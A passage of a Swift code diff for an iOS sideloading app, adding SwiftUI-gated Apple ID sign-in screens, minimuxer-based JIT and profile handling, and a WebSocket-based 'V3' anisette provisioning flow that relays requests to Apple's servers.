self.navigationController.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -276,7 +281,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
super.finish(result)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
self.dismiss()
|
||||
} else {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -287,25 +296,36 @@ private extension AuthenticationOperation
|
||||
{
|
||||
func present(_ viewController: UIViewController) -> Bool
|
||||
{
|
||||
guard let presentingViewController = self.presentingViewController else { return false }
|
||||
|
||||
self.navigationController.view.tintColor = .white
|
||||
|
||||
if self.navigationController.viewControllers.isEmpty
|
||||
{
|
||||
guard presentingViewController.presentedViewController == nil else { return false }
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
UIApplication.topController?.present(viewController, animated: true)
|
||||
} else {
|
||||
guard let presentingViewController = self.presentingViewController else { return false }
|
||||
|
||||
self.navigationController.setViewControllers([viewController], animated: false)
|
||||
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
viewController.navigationItem.leftBarButtonItem = nil
|
||||
self.navigationController.pushViewController(viewController, animated: true)
|
||||
self.navigationController.view.tintColor = .white
|
||||
|
||||
if self.navigationController.viewControllers.isEmpty
|
||||
{
|
||||
guard presentingViewController.presentedViewController == nil else { return false }
|
||||
|
||||
self.navigationController.setViewControllers([viewController], animated: false)
|
||||
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
viewController.navigationItem.leftBarButtonItem = nil
|
||||
self.navigationController.pushViewController(viewController, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func dismiss() {
|
||||
if let presentingViewController {
|
||||
presentingViewController.dismiss(animated: true)
|
||||
}
|
||||
// UIApplication.topController?.dismiss(animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
private extension AuthenticationOperation
|
||||
@@ -315,29 +335,55 @@ private extension AuthenticationOperation
|
||||
func authenticate()
|
||||
{
|
||||
DispatchQueue.main.async {
|
||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
let viewController: UIViewController
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
viewController = UIHostingController(rootView: NavigationView {
|
||||
ConnectAppleIDView { appleID, password, completionHandler in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
}
|
||||
} completionHandler: { result in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
}
|
||||
}
|
||||
}.navigationViewStyle(StackNavigationViewStyle()))
|
||||
} else {
|
||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
authenticationViewController.completionHandler = { (result) in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
authenticationViewController.completionHandler = { (result) in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
}
|
||||
}
|
||||
viewController = authenticationViewController
|
||||
}
|
||||
|
||||
if !self.present(authenticationViewController)
|
||||
if !self.present(viewController)
|
||||
{
|
||||
completionHandler(.failure(OperationError.notAuthenticated))
|
||||
}
|
||||
@@ -379,49 +425,34 @@ private extension AuthenticationOperation
|
||||
case .success(let anisetteData):
|
||||
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
|
||||
|
||||
if let presentingViewController = self.presentingViewController
|
||||
{
|
||||
verificationHandler = { (completionHandler) in
|
||||
DispatchQueue.main.async {
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||
alertController.addTextField { (textField) in
|
||||
textField.autocorrectionType = .no
|
||||
textField.autocapitalizationType = .none
|
||||
textField.keyboardType = .numberPad
|
||||
|
||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||
}
|
||||
verificationHandler = { (completionHandler) in
|
||||
DispatchQueue.main.async {
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||
alertController.addTextField { (textField) in
|
||||
textField.autocorrectionType = .no
|
||||
textField.autocapitalizationType = .none
|
||||
textField.keyboardType = .numberPad
|
||||
|
||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
||||
let textField = alertController.textFields?.first
|
||||
|
||||
let code = textField?.text ?? ""
|
||||
completionHandler(code)
|
||||
}
|
||||
submitAction.isEnabled = false
|
||||
alertController.addAction(submitAction)
|
||||
self.submitCodeAction = submitAction
|
||||
|
||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
||||
completionHandler(nil)
|
||||
})
|
||||
|
||||
if self.navigationController.presentingViewController != nil
|
||||
{
|
||||
self.navigationController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||
}
|
||||
|
||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
||||
let textField = alertController.textFields?.first
|
||||
|
||||
let code = textField?.text ?? ""
|
||||
completionHandler(code)
|
||||
}
|
||||
submitAction.isEnabled = false
|
||||
alertController.addAction(submitAction)
|
||||
self.submitCodeAction = submitAction
|
||||
|
||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
||||
completionHandler(nil)
|
||||
})
|
||||
|
||||
UIApplication.topController?.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// No view controller to present security code alert, so don't provide verificationHandler.
|
||||
verificationHandler = nil
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
||||
verificationHandler: verificationHandler) { (account, session, error) in
|
||||
@@ -452,14 +483,16 @@ private extension AuthenticationOperation
|
||||
}
|
||||
} else {
|
||||
DispatchQueue.main.async {
|
||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||
|
||||
selectTeamViewController.teams = teams
|
||||
selectTeamViewController.completionHandler = completionHandler
|
||||
|
||||
if !self.present(selectTeamViewController)
|
||||
{
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
if !UnstableFeatures.enabled(.swiftUI) {
|
||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||
|
||||
selectTeamViewController.teams = teams
|
||||
selectTeamViewController.completionHandler = completionHandler
|
||||
|
||||
if !self.present(selectTeamViewController)
|
||||
{
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -642,18 +675,22 @@ private extension AuthenticationOperation
|
||||
|
||||
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
|
||||
{
|
||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||
|
||||
DispatchQueue.main.async {
|
||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||
instructionsViewController.showsBottomButton = true
|
||||
instructionsViewController.completionHandler = {
|
||||
completionHandler(true)
|
||||
}
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
return completionHandler(false)
|
||||
} else {
|
||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||
|
||||
if !self.present(instructionsViewController)
|
||||
{
|
||||
completionHandler(false)
|
||||
DispatchQueue.main.async {
|
||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||
instructionsViewController.showsBottomButton = true
|
||||
instructionsViewController.completionHandler = {
|
||||
completionHandler(true)
|
||||
}
|
||||
|
||||
if !self.present(instructionsViewController)
|
||||
{
|
||||
completionHandler(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,7 @@ import CoreData
|
||||
|
||||
import AltStoreCore
|
||||
import EmotionalDamage
|
||||
import minimuxer
|
||||
|
||||
enum RefreshError: LocalizedError
|
||||
{
|
||||
@@ -97,6 +98,14 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
||||
return
|
||||
}
|
||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try minimuxer.start(try String(contentsOf: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")), documentsDirectory)
|
||||
} catch {
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
start_auto_mounter(documentsDirectory)
|
||||
|
||||
self.managedObjectContext.perform {
|
||||
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
||||
|
||||
@@ -44,14 +44,9 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
for profile in allIdentifiers {
|
||||
do {
|
||||
let res = try remove_provisioning_profile(id: profile)
|
||||
if case Uhoh.Bad(let code) = res {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
try remove_provisioning_profile(profile)
|
||||
} catch {
|
||||
self.finish(.failure(ALTServerError(.unknownResponse)))
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -45,23 +45,13 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
||||
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
|
||||
installedApp.managedObjectContext?.perform {
|
||||
let v = minimuxer_to_operation(code: 1)
|
||||
|
||||
do {
|
||||
var x = try debug_app(app_id: installedApp.resignedBundleIdentifier)
|
||||
switch x {
|
||||
case .Good:
|
||||
self.finish(.success(()))
|
||||
case .Bad(let code):
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
try debug_app(installedApp.resignedBundleIdentifier)
|
||||
} catch {
|
||||
self.finish(.failure(OperationError.unknown))
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
|
||||
self.finish(.success(()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,15 +7,28 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CommonCrypto
|
||||
import Starscream
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
|
||||
@objc(FetchAnisetteDataOperation)
|
||||
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
||||
final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSocketDelegate
|
||||
{
|
||||
let context: OperationContext
|
||||
var socket: WebSocket!
|
||||
|
||||
var url: URL?
|
||||
var startProvisioningURL: URL?
|
||||
var endProvisioningURL: URL?
|
||||
|
||||
var clientInfo: String?
|
||||
var userAgent: String?
|
||||
|
||||
var mdLu: String?
|
||||
var deviceId: String?
|
||||
|
||||
init(context: OperationContext)
|
||||
{
|
||||
@@ -32,32 +45,406 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>
|
||||
return
|
||||
}
|
||||
|
||||
let url = AnisetteManager.currentURL
|
||||
DLOG("Anisette URL: %@", url.absoluteString)
|
||||
self.url = AnisetteManager.currentURL
|
||||
print("Anisette URL: \(self.url!.absoluteString)")
|
||||
|
||||
let task = URLSession.shared.dataTask(with: url) { data, response, error in
|
||||
guard let data = data, error == nil else { return }
|
||||
|
||||
do {
|
||||
// make sure this JSON is in the format we expect
|
||||
// convert data to json
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
// try to read out a dictionary
|
||||
//for some reason serial number isn't needed but it doesn't work unless it has a value
|
||||
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
|
||||
|
||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||
DLOG("Anisette used: %@", formattedJSON)
|
||||
self.finish(.success(anisette))
|
||||
}
|
||||
if let identifier = Keychain.shared.identifier,
|
||||
let adiPb = Keychain.shared.adiPb {
|
||||
fetchAnisetteV3(identifier, adiPb)
|
||||
} else {
|
||||
provision()
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - COMMON
|
||||
|
||||
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
|
||||
// make sure this JSON is in the format we expect
|
||||
// convert data to json
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
if v3 {
|
||||
if json["result"] == "GetHeadersError" {
|
||||
let message = json["message"]
|
||||
print("Error getting V3 headers: \(message ?? "no message")")
|
||||
if let message = message,
|
||||
message.contains("-45061") {
|
||||
print("Error message contains -45061 (not provisioned), resetting adi.pb and retrying")
|
||||
Keychain.shared.adiPb = nil
|
||||
return provision()
|
||||
} else { throw OperationError.anisetteV3Error(message: message ?? "Unknown error") }
|
||||
}
|
||||
}
|
||||
|
||||
// try to read out a dictionary
|
||||
// for some reason serial number isn't needed but it doesn't work unless it has a value
|
||||
var formattedJSON: [String: String] = ["deviceSerialNumber": "0"]
|
||||
if let machineID = json["X-Apple-I-MD-M"] { formattedJSON["machineID"] = machineID }
|
||||
if let oneTimePassword = json["X-Apple-I-MD"] { formattedJSON["oneTimePassword"] = oneTimePassword }
|
||||
if let routingInfo = json["X-Apple-I-MD-RINFO"] { formattedJSON["routingInfo"] = routingInfo }
|
||||
|
||||
if v3 {
|
||||
formattedJSON["deviceDescription"] = self.clientInfo!
|
||||
formattedJSON["localUserID"] = self.mdLu!
|
||||
formattedJSON["deviceUniqueIdentifier"] = self.deviceId!
|
||||
|
||||
// Generate date stuff on client
|
||||
let formatter = DateFormatter()
|
||||
formatter.locale = Locale(identifier: "en_US_POSIX")
|
||||
formatter.calendar = Calendar(identifier: .gregorian)
|
||||
formatter.timeZone = TimeZone.current
|
||||
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
|
||||
let dateString = formatter.string(from: Date())
|
||||
formattedJSON["date"] = dateString
|
||||
formattedJSON["locale"] = Locale.current.identifier
|
||||
formattedJSON["timeZone"] = TimeZone.current.abbreviation()
|
||||
} else {
|
||||
if let deviceDescription = json["X-MMe-Client-Info"] { formattedJSON["deviceDescription"] = deviceDescription }
|
||||
if let localUserID = json["X-Apple-I-MD-LU"] { formattedJSON["localUserID"] = localUserID }
|
||||
if let deviceUniqueIdentifier = json["X-Mme-Device-Id"] { formattedJSON["deviceUniqueIdentifier"] = deviceUniqueIdentifier }
|
||||
|
||||
if let date = json["X-Apple-I-Client-Time"] { formattedJSON["date"] = date }
|
||||
if let locale = json["X-Apple-Locale"] { formattedJSON["locale"] = locale }
|
||||
if let timeZone = json["X-Apple-I-TimeZone"] { formattedJSON["timeZone"] = timeZone }
|
||||
}
|
||||
|
||||
if let response = response,
|
||||
let version = response.value(forHTTPHeaderField: "Implementation-Version") {
|
||||
print("Implementation-Version: \(version)")
|
||||
} else { print("No Implementation-Version header") }
|
||||
|
||||
print("Anisette used: \(formattedJSON)")
|
||||
print("Original JSON: \(json)")
|
||||
if let anisette = ALTAnisetteData(json: formattedJSON) {
|
||||
print("Anisette is valid!")
|
||||
self.finish(.success(anisette))
|
||||
} else {
|
||||
print("Anisette is invalid!!!!")
|
||||
if v3 {
|
||||
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not have all the required fields)")
|
||||
} else {
|
||||
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not have all the required fields)")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v3 {
|
||||
throw OperationError.anisetteV3Error(message: "Invalid anisette (the returned data may not be in JSON)")
|
||||
} else {
|
||||
throw OperationError.anisetteV1Error(message: "Invalid anisette (the returned data may not be in JSON)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - V1
|
||||
|
||||
func handleV1() {
|
||||
print("Server is V1")
|
||||
|
||||
if UserDefaults.shared.trustedServerURL == AnisetteManager.currentURLString {
|
||||
print("Server has already been trusted, fetching anisette")
|
||||
return self.fetchAnisetteV1()
|
||||
}
|
||||
|
||||
print("Alerting user about outdated server")
|
||||
let alert = UIAlertController(title: "WARNING: Outdated anisette server", message: "We've detected you are using an older anisette server. Using this server has a higher likelihood of locking your account and causing other issues. Are you sure you want to continue?", preferredStyle: UIAlertController.Style.alert)
|
||||
alert.addAction(UIAlertAction(title: "Continue", style: UIAlertAction.Style.destructive, handler: { action in
|
||||
print("Fetching anisette via V1")
|
||||
UserDefaults.shared.trustedServerURL = AnisetteManager.currentURLString
|
||||
self.fetchAnisetteV1()
|
||||
}))
|
||||
alert.addAction(UIAlertAction(title: "Cancel", style: UIAlertAction.Style.cancel, handler: { action in
|
||||
print("Cancelled anisette operation")
|
||||
self.finish(.failure(OperationError.cancelled))
|
||||
}))
|
||||
|
||||
DispatchQueue.main.async {
|
||||
UIApplication.topController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchAnisetteV1() {
|
||||
print("Fetching anisette V1")
|
||||
URLSession.shared.dataTask(with: self.url!) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else { throw OperationError.anisetteV1Error(message: "Unable to fetch data\(error != nil ? " (\(error!.localizedDescription))" : "")") }
|
||||
|
||||
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: false)
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
|
||||
}.resume()
|
||||
}
|
||||
|
||||
// MARK: - V3: PROVISIONING
|
||||
|
||||
func provision() {
|
||||
fetchClientInfo {
|
||||
print("Getting provisioning URLs")
|
||||
var request = self.buildAppleRequest(url: URL(string: "https://gsa.apple.com/grandslam/GsService2/lookup")!)
|
||||
request.httpMethod = "GET"
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let startProvisioningString = plist["urls"]?["midStartProvisioning"] as? String,
|
||||
let startProvisioningURL = URL(string: startProvisioningString),
|
||||
let endProvisioningString = plist["urls"]?["midFinishProvisioning"] as? String,
|
||||
let endProvisioningURL = URL(string: endProvisioningString) {
|
||||
self.startProvisioningURL = startProvisioningURL
|
||||
self.endProvisioningURL = endProvisioningURL
|
||||
print("startProvisioningURL: \(self.startProvisioningURL!.absoluteString)")
|
||||
print("endProvisioningURL: \(self.endProvisioningURL!.absoluteString)")
|
||||
print("Starting a provisioning session")
|
||||
self.startProvisioningSession()
|
||||
} else {
|
||||
print("Apple didn't give valid URLs! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid URLs. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
}
|
||||
|
||||
func startProvisioningSession() {
|
||||
let provisioningSessionURL = self.url!.appendingPathComponent("v3").appendingPathComponent("provisioning_session")
|
||||
var wsRequest = URLRequest(url: provisioningSessionURL)
|
||||
wsRequest.timeoutInterval = 5
|
||||
self.socket = WebSocket(request: wsRequest)
|
||||
self.socket.delegate = self
|
||||
self.socket.connect()
|
||||
}
|
||||
|
||||
func didReceive(event: WebSocketEvent, client: WebSocket) {
|
||||
switch event {
|
||||
case .text(let string):
|
||||
do {
|
||||
if let json = try JSONSerialization.jsonObject(with: string.data(using: .utf8)!, options: []) as? [String: Any] {
|
||||
guard let result = json["result"] as? String else {
|
||||
print("The server didn't give us a result")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a result", message: nil)))
|
||||
return
|
||||
}
|
||||
print("Received result: \(result)")
|
||||
switch result {
|
||||
case "GiveIdentifier":
|
||||
print("Giving identifier")
|
||||
client.json(["identifier": Keychain.shared.identifier!])
|
||||
|
||||
case "GiveStartProvisioningData":
|
||||
print("Getting start provisioning data")
|
||||
let body = [
|
||||
"Header": [String: Any](),
|
||||
"Request": [String: Any](),
|
||||
]
|
||||
var request = self.buildAppleRequest(url: self.startProvisioningURL!)
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let spim = plist["Response"]?["spim"] as? String {
|
||||
print("Giving start provisioning data")
|
||||
client.json(["spim": spim])
|
||||
} else {
|
||||
print("Apple didn't give valid start provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid start provisioning data. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
|
||||
case "GiveEndProvisioningData":
|
||||
print("Getting end provisioning data")
|
||||
guard let cpim = json["cpim"] as? String else {
|
||||
print("The server didn't give us a cpim")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a cpim", message: nil)))
|
||||
return
|
||||
}
|
||||
let body = [
|
||||
"Header": [String: Any](),
|
||||
"Request": [
|
||||
"cpim": cpim,
|
||||
],
|
||||
]
|
||||
var request = self.buildAppleRequest(url: self.endProvisioningURL!)
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
if let data = data,
|
||||
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
|
||||
let ptm = plist["Response"]?["ptm"] as? String,
|
||||
let tk = plist["Response"]?["tk"] as? String {
|
||||
print("Giving end provisioning data")
|
||||
client.json(["ptm": ptm, "tk": tk])
|
||||
} else {
|
||||
print("Apple didn't give valid end provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
|
||||
client.disconnect(closeCode: 0)
|
||||
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid end provisioning data. Please try again later", message: nil)))
|
||||
}
|
||||
}.resume()
|
||||
|
||||
case "ProvisioningSuccess":
|
||||
print("Provisioning succeeded!")
|
||||
client.disconnect(closeCode: 0)
|
||||
guard let adiPb = json["adi_pb"] as? String else {
|
||||
print("The server didn't give us an adi.pb file")
|
||||
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us an adi.pb file", message: nil)))
|
||||
return
|
||||
}
|
||||
Keychain.shared.adiPb = adiPb
|
||||
self.fetchAnisetteV3(Keychain.shared.identifier!, Keychain.shared.adiPb!)
|
||||
|
||||
default:
|
||||
if result.contains("Error") || result.contains("Invalid") || result == "ClosingPerRequest" || result == "Timeout" || result == "TextOnly" {
|
||||
print("Failing because of \(result)")
|
||||
self.finish(.failure(OperationError.provisioningError(result: result, message: json["message"] as? String)))
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch let error as NSError {
|
||||
print("Failed to handle text: \(error.localizedDescription)")
|
||||
self.finish(.failure(OperationError.provisioningError(result: error.localizedDescription, message: nil)))
|
||||
}
|
||||
|
||||
case .connected:
|
||||
print("Connected")
|
||||
|
||||
case .disconnected(let string, let code):
|
||||
print("Disconnected: \(code); \(string)")
|
||||
|
||||
case .error(let error):
|
||||
print("Got error: \(String(describing: error))")
|
||||
|
||||
default:
|
||||
print("Unknown event: \(event)")
|
||||
}
|
||||
}
|
||||
|
||||
func buildAppleRequest(url: URL) -> URLRequest {
|
||||
var request = URLRequest(url: url)
|
||||
request.setValue(self.clientInfo!, forHTTPHeaderField: "X-Mme-Client-Info")
|
||||
request.setValue(self.userAgent!, forHTTPHeaderField: "User-Agent")
|
||||
request.setValue("text/x-xml-plist", forHTTPHeaderField: "Content-Type")
|
||||
request.setValue("*/*", forHTTPHeaderField: "Accept")
|
||||
|
||||
request.setValue(self.mdLu!, forHTTPHeaderField: "X-Apple-I-MD-LU")
|
||||
request.setValue(self.deviceId!, forHTTPHeaderField: "X-Mme-Device-Id")
|
||||
|
||||
let formatter = DateFormatter()
|
||||
formatter.locale = Locale(identifier: "en_US_POSIX")
|
||||
formatter.calendar = Calendar(identifier: .gregorian)
|
||||
formatter.timeZone = TimeZone(identifier: "UTC")
|
||||
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
|
||||
let dateString = formatter.string(from: Date())
|
||||
request.setValue(dateString, forHTTPHeaderField: "X-Apple-I-Client-Time")
|
||||
request.setValue(Locale.current.identifier, forHTTPHeaderField: "X-Apple-Locale")
|
||||
request.setValue(TimeZone.current.abbreviation(), forHTTPHeaderField: "X-Apple-I-TimeZone")
|
||||
return request
|
||||
}
|
||||
|
||||
// MARK: - V3: FETCHING
|
||||
|
||||
func fetchClientInfo(_ callback: @escaping () -> Void) {
|
||||
if self.clientInfo != nil &&
|
||||
self.userAgent != nil &&
|
||||
self.mdLu != nil &&
|
||||
self.deviceId != nil &&
|
||||
Keychain.shared.identifier != nil {
|
||||
print("Skipping client_info fetch since all the properties we need aren't nil")
|
||||
return callback()
|
||||
}
|
||||
print("Trying to get client_info")
|
||||
let clientInfoURL = self.url!.appendingPathComponent("v3").appendingPathComponent("client_info")
|
||||
URLSession.shared.dataTask(with: clientInfoURL) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else {
|
||||
return self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The server may be down\(error != nil ? " (\(error!.localizedDescription))" : "")")))
|
||||
}
|
||||
|
||||
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
|
||||
if let clientInfo = json["client_info"] {
|
||||
print("Server is V3")
|
||||
|
||||
self.clientInfo = clientInfo
|
||||
self.userAgent = json["user_agent"]!
|
||||
print("Client-Info: \(self.clientInfo!)")
|
||||
print("User-Agent: \(self.userAgent!)")
|
||||
|
||||
if Keychain.shared.identifier == nil {
|
||||
print("Generating identifier")
|
||||
var bytes = [Int8](repeating: 0, count: 16)
|
||||
let status = SecRandomCopyBytes(kSecRandomDefault, bytes.count, &bytes)
|
||||
|
||||
if status != errSecSuccess {
|
||||
print("ERROR GENERATING IDENTIFIER!!! \(status)")
|
||||
return self.finish(.failure(OperationError.provisioningError(result: "Couldn't generate identifier", message: nil)))
|
||||
}
|
||||
|
||||
Keychain.shared.identifier = Data(bytes: &bytes, count: bytes.count).base64EncodedString()
|
||||
}
|
||||
|
||||
let decoded = Data(base64Encoded: Keychain.shared.identifier!)!
|
||||
self.mdLu = decoded.sha256().hexEncodedString()
|
||||
print("X-Apple-I-MD-LU: \(self.mdLu!)")
|
||||
let uuid: UUID = decoded.object()
|
||||
self.deviceId = uuid.uuidString.uppercased()
